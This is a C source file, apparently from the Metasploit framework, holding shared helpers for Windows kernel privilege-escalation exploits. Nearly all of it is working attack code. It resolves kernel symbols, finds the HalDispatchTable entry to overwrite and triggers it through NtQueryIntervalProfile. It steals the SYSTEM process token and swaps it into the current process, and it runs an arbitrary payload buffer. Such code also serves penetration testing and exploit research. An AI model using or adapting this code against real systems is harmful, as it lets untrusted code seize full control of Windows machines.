Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/win_kernel_common/kernel.c
Views: 11766
#include <stdio.h>1#include "windefs.h"2#include "kernel.h"3#include <Psapi.h>45#define SYSTEM_PID 46#define DRIVER_COUNT 102478typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process);9typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process);10typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength);11typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval);1213static ULONG_PTR g_pHalDispatch = 0L;14static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL;15static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL;16static DWORD g_currentPid = 0;17static DWORD g_replaced = FALSE;1819static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval)20{21static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL;2223if (pNtQueryIntervalProfile == NULL)24{25pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile");26}2728return pNtQueryIntervalProfile(profileSource, interval);29}3031static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength)32{33static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL;3435if (pNtQuerySystemInformation == NULL)36{37pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation");38}3940return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength);41}4243static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass)44{45ULONG size = 0x100;46const ULONG maxSize = size << 10;47PVOID buffer = NULL;48NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;49ULONG memIO = 0;5051while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size)52{53buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size);54status = NtQuerySystemInformation(infoClass, buffer, size, &memIO);55size = size << 1;56}5758if (NT_SUCCESS(status))59{60return buffer;61}6263if (buffer != NULL)64{65HeapFree(GetProcessHeap(), 0, buffer);66}6768return NULL;69}7071static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize)72{73DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf);74g_replaced = FALSE;7576for (DWORD_PTR i = 0; i < maxSize; ++i)77{78if (((pStruct[i] ^ currentValue) & mask) == 0)79{80pStruct[i] = newValue;81g_replaced = TRUE;82return;83}84}85}8687BOOL is_driver_loaded(wchar_t* driverName)88{89// start by finding out how big the buffer size needs to be:90LPVOID derp = 0;91DWORD sizeNeeded = 0;92BOOL result = FALSE;9394// determine the size required first95EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded);9697LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);9899if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))100{101wchar_t driver[MAX_PATH];102DWORD driverCount = sizeNeeded / sizeof(LPVOID);103104for (DWORD i = 0; i < driverCount; ++i)105{106if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH)107&& _wcsicmp(driver, driverName) == 0)108{109result = TRUE;110break;111}112}113}114115free(driverList);116117return result;118}119120// Simple wrapper over the steal_process_token that takes the four arguments used by the function we121// overwrite in the HAL dispatch122VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4)123{124steal_process_token();125}126127VOID steal_process_token()128{129LPVOID currentProcessInfo = NULL;130LPVOID systemProcessInfo = NULL;131132g_pLookupProcessById((HANDLE)g_currentPid, ¤tProcessInfo);133g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo);134135PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo);136PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo);137138find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200);139}140141BOOL prepare_for_kernel()142{143BOOL result = FALSE;144PRTL_PROCESS_MODULES procModules = NULL;145CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 };146PVOID mappedKernel = NULL;147148do149{150procModules = get_system_info(SystemModuleInformation);151if (procModules == NULL || procModules->NumberOfModules == 0)152{153break;154}155156UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH);157fullKernelPath[length] = '\\';158159const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName];160strcat_s(fullKernelPath, MAX_PATH, firstModule);161162ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase;163mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES);164if (mappedKernel == NULL)165{166break;167}168169ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId");170171if (funcAddr == 0L)172{173break;174}175176g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);177178funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken");179180if (funcAddr == 0L)181{182break;183}184185g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);186187funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable");188189if (funcAddr != 0L)190{191g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel;192}193194g_currentPid = GetCurrentProcessId();195196result = TRUE;197} while (0);198199if (mappedKernel != NULL)200{201FreeLibrary(mappedKernel);202}203204if (procModules != NULL)205{206HeapFree(GetProcessHeap(), 0, procModules);207}208209return result;210}211212BOOL was_token_replaced()213{214return g_replaced;215}216217ULONG_PTR get_hal_dispatch_pointer()218{219return g_pHalDispatch + sizeof(ULONG_PTR);220}221222VOID invoke_hal_dispatch_pointer()223{224ULONG ignored;225NtQueryIntervalProfile(1234, &ignored);226}227228DWORD get_page_size()229{230static DWORD pageSize = 0;231if (pageSize == 0)232{233SYSTEM_INFO si;234GetSystemInfo(&si);235pageSize = si.dwPageSize;236}237return pageSize;238}239240BOOL create_anon_mapping(MemMapping* memMap)241{242memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL);243if (memMap->mapping == NULL)244{245return FALSE;246}247248memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size());249if (memMap->buffer == NULL)250{251destroy_anon_mapping(memMap);252return FALSE;253}254255return TRUE;256}257258VOID destroy_anon_mapping(MemMapping* memMap)259{260if (memMap != NULL)261{262if (memMap->buffer)263{264UnmapViewOfFile(memMap->buffer);265memMap->buffer = NULL;266}267if (memMap->mapping != NULL)268{269CloseHandle(memMap->mapping);270memMap->mapping = NULL;271}272}273}274275DWORD execute_payload(LPVOID lpPayload)276{277VOID(*lpCode)() = (VOID(*)())lpPayload;278lpCode();279return ERROR_SUCCESS;280}281282283